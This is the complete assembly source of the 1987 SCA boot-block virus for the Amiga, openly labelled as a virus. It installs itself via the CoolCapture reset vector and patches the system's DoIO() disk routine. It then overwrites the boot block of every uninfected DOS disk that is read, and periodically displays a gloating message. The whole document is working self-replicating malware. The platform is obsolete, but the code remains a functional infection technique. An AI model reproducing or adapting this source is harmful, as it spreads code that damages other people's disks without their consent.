

```

;*****
;**
;**  T H E    S C A    V I R U S
;**  -----
;**
;**  V1.1 :  klaut IO-Request Struktur & Ports vom DOS, deshalb
;**          etwa 70% kuerzer !!
;**
;**  Created: 02-Jul-87 SCA                Last update: 05-Jul-87 SCA
;**
;**  Comments translated to English:  14-Jan-88
;**
;*****

; global registers:
; A3 :  Pointer to our RastPort
; A4 :  Pointer to strap's IORequest-structure
; A5 :  Pointer to Custom-chip base

prg:      equ      $7ec00      ; here's the virus program
rp:       equ      prg - $0100 ; RastPort
b:        equ      rp - $0100  ; BitMap
plane:    equ      b - $2100   ; one plane, 320x200 pixels
GfxBase:  equ      plane - $0004 ; Pointer to GfxBase

; *** Here some useful system constants
; *** (because the K-Seka assembler doesn't allow INCLUDEs or XRef ...)

CMD_Reset:  equ      1
CMD_Write:  equ      3
CMD_Update: equ      4
TD_Motor:   equ      9

custom:     equ      $dff000      ; Startadresse der Custom-Chips

copllc:    equ      $080
diwstrt:   equ      $08E
diwstop:   equ      $090
ddfstrt:   equ      $092
ddfstop:   equ      $094
dmacon:    equ      $096
vposr:     equ      $006
bplpt:     equ      $0E0
bplcon0:   equ      $100
bplcon1:   equ      $102
bpl1mod:   equ      $108
bpl2mod:   equ      $10A
color:     equ      $180

; ***** library offsets & macros *****

AbsExecBase: equ      4
OpenLibrary: equ      -30-522 ; (libname,version)      (A1,D0)
CloseLibrary: equ      -30-384 ; (library)              (A1)
DoIo:         equ      -30-426 ; (ioRequest) (A1)
FindResident: equ      -30-66 ; (name)                 (A1)

Move:        equ      -30-210 ; (RastPort,x,y)        (A1,D0,D1)
Text:        equ      -30-30 ; (RastPort,string,count) (A1,A0,D0)
InitBitMap:  equ      -30-360 ; (BitMap,depth,width,height) (A0,D0,D1,D2)
InitRastPort: equ      -30-168 ; (RastPort)            (A1)

```

```

Exec:      macro
            move.l  AbsExecBase,a6 ; Library
            jsr    ?1(a6)          ; Routine aufrufen
            endm

Gfx:      macro
            move.l  GfxBase,a6     ; Library
            jsr    ?1(a6)          ; Routine aufrufen
            endm

; ***** Copper macros (work only with he K-Seka assembler) *****

cmove:    macro
            dc.w    [[?2] & $01fe]
            dc.w    ?1
            endm

cmove1:   macro
            dc.w    [[?2] & $01fe] ; Hi-Word
            dc.w    [?1] / $10000
            dc.w    [[?2] & $01fe]+2 ; Lo-Word
            dc.w    [?1] & $ffff
            endm

cwait:    macro
            dc.w    [?1] ! 1
            dc.w    [?2] & $ffff ! $8000 ; Comp.-Enable-Mask
            endm

cend:     macro
            dc.w    $ffff,$ffff
            endm

; ***** The Code *****

            org     prg           ; ABSOLUTE mode
            load   $70000

block:    dc.b    "DOS",0        ; It's a DOS disk!
blockchecksum: dc.l  0           ; Checksum, set later by diskmonitor
            dc.l  0           ; Pointer to rootblock (not used)

start:    lea     block(pc),a0    ; move the whole boot-block
            lea     prg,a1        ; to the absolute position
            move.w  #256,d0       ; should be 255
start1:   move.l  (a0)+,(a1)+
            dbf     d0,start1
            jsr     initcool      ; Initialize the Virus

: ***** Continue with the normal DOS startup *****

diskstartup: lea     DOSName(pc),a1 ; pointer to "dos.library"
            Exec   FindResident   ; Find the DOS module
            move.l d0,a0
            move.l 22(a0),a0      ; Get the vector
            moveq  #0,d0          ; No error
            rts                  ; Back to strap

; ***** This is called via CoolCapture *****

```

```

mycool:      move.l   AbsExecBase,a6
             btst     #6,$bfe001           ; Left mouse-button pressed ?
             bne.s    mycool1             ; no --->
             clr.l    46(a6)              ; Reset CoolCapture vector
             bsr      checksum            ; adjust ExecBase checksum

             lea     custom,a5             ; $dff000
             move    #$060,color(a5)      ; Green
             moveq   #50,d0
             bsr     wait
             bra.s   mycoolend            ; normal startup

mycool1:     bsr      initcool             ; Re-initialize CoolCapture
             lea     MyDoIO,a0            ; Address of our DoIO patch
             cmp.l   DoIO+2(a6),a0        ; Already installed ?
             beq.s   mycoolend            ; yes (should NEVER happen)
             move.l  DoIO+2(a6),DoIOVec   ; save old DoIO-vector
             move.l  a0,DoIO+2(a6)        ; what about SetFunction() ?

mycoolend:   rts

initcool:    move.l  #mycool,46(a6)       ; CoolCapture to Virus

checksum:    lea     34(a6),a0             ; Start of memory to sum
             clr.w   d0
             moveq   #23,d1               ; 24 Words

checksum1:   add.w   (a0)+,d0
             dbf    d1,checksum1
             not.w  d0
             move.w d0,(a0)               ; ChkSum
             rts

; ***** The modified DoIo() routine *****

MyDoIO:      cmp.l   #$400,36(a1)          ; io_Length == size of bootblock ?
             bne.s   MyDoIOEnd            ; no ---> normal DoIO()
             cmp.l   40(a1),a4            ; Load address == A4?
             beq.s   gotit                ; should be strap's bootblock-request
MyDoIOEnd:   jmp     DoIOJump              ; else normal DoIO()

gotit:       clr.l   (a4)                  ; not really necessary
             jsr    DoIOJump              ; Read the boot-sector
             cmp.l   #$444f5300,(a4)      ; Is it a DOS disk ?
             bne.s   notyet                ; No ---> rts

             move.l  DoIOVec,DoIO+2(a6)   ; Restore the old DoIO vector
             clr.l   DoIOVec              ; to keep the checksum ok

             movem.l d0-d7/a0-a5,-(a7)    ; save all registers

             lea     custom,a5             ; custom-base

             lea     blockchecksum,a0      ; Ptr to Virus checksum
             move.l  (a0),d0               ; Virus checksum
             cmp.l   4(a4),d0              ; == checksum of that bootblock ?
             beq.s   alreadythere         ; yes ---> disk is already infected
             ; OR VIRUS-PROTECTED (!!!!)

             move.l  a1,a4                  ; Pointer to IO-Request
             bsr     virus                  ; That's the big one!

alreadythere: movem.l (a7)+,d0-d7/a0-a5    ; registers back

```

```

notyet:          rts                ; Back to strap (from DoIO())

; ***** V I R U S *****
virus:          subi.w  #1,checksumtrim      ; To keep checksum constant
                addi.w  #1,generation        ; INC the generation-counter
                move.w  generation,d0
                andi.w  #15,d0              ; time for message ?
                cmpi.w  #0,d0 ; (!)
                bne.s   reproduce          ; not yet

                bsr     action             ; Display the message

reproduce:        move.l  a4,a1              ; Pointer to IO-Request
                move.w  #CMD_Reset,28(a1)   ; without this it didn't work
                Exec   DoIo

                move.l  a4,a1              ; Pointer to IO-Request
                move.w  #CMD_Write,28(a1)   ; let's write!
                move.l  #$400,36(a1)       ; Length of bootblock
                move.l  #prg,40(a1)        ; Address of Virus
                move.l  #0,44(a1)         ; Offset = 0 (Block * 512)
                Exec   DoIo

                move.l  a4,a1
                move.w  #CMD_Update,28(a1) ; Write the track to disk
                Exec   DoIo

virusend:       rts                ; continue with normal startup

; ***** A C T I O N (show message) *****
action:         move.l  a4,a1              ; Pointer to IO-Request
                clr.l   36(a1)            ; Motor off
                move    #TD_Motor,28(a1)
                Exec   DoIo

                lea    rp,a3              ; our RastPort

                lea    GfxName,a1
                clr.l  d0                 ; any version
                Exec   OpenLibrary
                move.l  d0,GfxBase

                move.l  a3,a1
                Gfx    InitRastPort

                lea    b,a0               ; our BitMap structure
                move.l  a0,4(a3)          ; rp^.Bitmap := b;
                moveq   #1,d0             ; Depth
                move.w  #320,d1          ; Width
                move.w  #200,d2          ; Height (NTSC-compatible)
                Gfx    InitBitMap

                move.l  #mycoplist,cop1lc(a5) ; I hate viewports
                move.w  #$800,color+2(a5) ; Init text-color

                moveq   #100,d0
                bsr    wait

                lea    texttab,a2
actionloop:     lea    plane,a0           ; our plane (NOT AllocMem-ed!)
                move.l  a0,b+8           ; b^.Planes[0] := plane;

```

```

action1:      move.w #320*200/8/4,d0      ; Size in LONGs
              clr.l  (a0)+              ; Clear whole plane
              dbf   d0,action1

              move.w #$2e75,diwstrt(a5) ; Set the normal display
              move.w #$f6d5,diwstop(a5) ; size, as described
              move.w #$0038,ddfstrt(a5) ; in the Hardware manual
              move.w #$00d0,ddfstop(a5)
              clr.l  bpl1mod(a5)
              move.w #$1200,bplcon0(a5) ; 1 plane, Color enable
              clr.l  bplcon1(a5)      ; Clear both bplcon 1 & 2
              move.w #$8380,dmacon(a5) ; Plane & Copper DMA on

              move.l a3,a1              ; our RastPort
              clr.l  d0
              move.b (a2)+,d0          ; X-position
              moveq  #81,d1            ; Y-position
              Gfx   Move

              move.l a3,a1              ; RastPort
              clr.l  d0
              move.b (a2)+,d0          ; Length of next text
              cmpi.b #0,d0             ; redundant
              beq.s  actionend         ; 0 --> End of message
              move.l a2,a0              ; Text address
              lea   (a2,d0.w),a2       ; adda.w d0,a2
              Gfx   Text

              moveq  #7,d2              ; From red to white in 8 steps
              move.w #$800,d1          ; Start color: same as background
action2:      moveq  #2,d0
              bsr   wait
              move.w d1,color+2(a5)    ; Set text-color
              addi.w #$122,d1          ; from $800 to $fff
              dbf   d2,action2

              clr.l  d0
              move.b (a2)+,d0          ; delay time for text
              bsr   wait

              moveq  #7,d2              ; From white to red in 8 steps
action3:      moveq  #2,d0
              bsr   wait
              subi.w #$122,d1
              move.w d1,color+2(a5)
              dbf   d2,action3

              clr.l  d0
              move.b (a2)+,d0          ; inter-text time
              bsr   wait
              bra   actionloop

actionend:    move.l GfxBase,a0
              move.l 38(a0),cop1lc(a5) ; Restore old copperlist
              move.w #$0100,dmacon(a5) ; Plane DMA off
              rts

; *****

wait:         add.w  d0,d0              ; delay * 2
wait1:        cmpi.b #0,vposr(a5)      ; tst.b
              bne.s  wait1
wait2:        cmpi.b #0,vposr(a5)
              beq.s  wait2
              dbf   d0,wait1

```

rts

```

; ***** D A T A *****
mycoplist:      align    4
                 cmove    plane,bplpt

                 cwait    $7004,$ffff
                 cmove    $e62,color+0      ; hellroter Balken
                 cwait    $7404,$ffff
                 cmove    $410,color+0      ; Schatten
                 cwait    $7504,$ffff
                 cmove    $800,color+0      ; Hintergrund der Schrift
                 cwait    $8604,$ffff
                 cmove    $d51,color+0      ; hellrot
                 cwait    $8a04,$ffff
                 cmove    $000,color+0      ; schwarz

                 cend

generation:     even
                 dc.w     1                  ; the generation counter
                 dc.w     65530              ; Longword align
checksumtrim:   dc.w     65530              ; to keep BootBlockChecksum constant

GfxName:        dc.b     "graphics.library",0
DOSName:        dc.b     "dos.library",0

texttab:       dc.b     00,32,"Something wonderful has happened",210,170
                 dc.b     45,23,"Your AMIGA is alive !!!",190,160
                 dc.b     65,19,"and, even better...",80,80
                 dc.b     04,31,"Some of your disks are infected",110,50
                 dc.b     90,14,"by a VIRUS !!!",140,120
                 dc.b     50,22,"Another masterpiece of",130,50
                 dc.b     50,22,"The Mega-Mighty SCA !!",220,110
                 dc.b     0,0

                 even
DoIOJump:       dc.w     $4ef9      ; JMP
DoIOVec:        dc.l     0          ; Pointer to Exec's DoIO(), must be 0 here!

```

```

*
* (C) 1987 by The Mega-Mighty SCA.    All rights reserved.
*

```